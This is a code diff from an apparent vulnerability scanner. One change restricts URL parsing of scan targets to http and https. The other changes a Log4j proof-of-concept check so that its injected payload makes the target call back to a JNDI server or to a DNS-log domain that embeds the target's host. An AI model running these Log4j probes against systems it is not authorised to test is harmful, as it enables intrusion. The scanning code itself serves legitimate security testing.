diff --git a/pkg/naabu/v2/pkg/runner/targets.go b/pkg/naabu/v2/pkg/runner/targets.go index a35e812d..dff45380 100644 --- a/pkg/naabu/v2/pkg/runner/targets.go +++ b/pkg/naabu/v2/pkg/runner/targets.go @@ -122,9 +122,11 @@ func (r *Runner) AddTarget(target string) error { gologger.Warning().Msgf("%s\n", err) } } else { - if u, err := url.Parse(target); err == nil { - Naabubuffer.Write([]byte(fmt.Sprintf("%s\n", fmt.Sprintf("%s://%s", u.Scheme, u.Host)))) - return nil + if strings.HasPrefix(target, "http://") || strings.HasPrefix(target, "https://") { + if u, err := url.Parse(target); err == nil { + Naabubuffer.Write([]byte(fmt.Sprintf("%s\n", fmt.Sprintf("%s://%s", u.Scheme, u.Host)))) + return nil + } } ips, err := r.resolveFQDN(target) if err != nil { diff --git a/pocs_go/log4j/check.go b/pocs_go/log4j/check.go index 0c66689d..66838c98 100644 --- a/pocs_go/log4j/check.go +++ b/pocs_go/log4j/check.go @@ -11,7 +11,11 @@ import ( func Check(u string, finalURL string) bool { if (pkg.CeyeApi != "" && pkg.CeyeDomain != "") || jndi.JndiAddress != "" { - randomstr := pkg.RandomStr() + "log4j" + var host = "null" + randomstr := pkg.RandomStr() + if ux, err := url.Parse(u); err == nil { + host = strings.Replace(ux.Host, ":", ".", -1) + } domainx, intputs := getinputurl(finalURL) domainx = append(domainx, u) intputs = append(intputs, "x") @@ -21,7 +25,7 @@ func Check(u string, finalURL string) bool { if jndi.JndiAddress != "" { uri = jndi.JndiAddress + "/" + randomstr + "/" } else if pkg.CeyeApi != "" && pkg.CeyeDomain != "" { - uri = randomstr + "." + pkg.CeyeDomain + uri = randomstr + "." + host + "." + pkg.CeyeDomain } payload = strings.Replace(payload, "dnslog-url", uri, -1) header := make(map[string]string)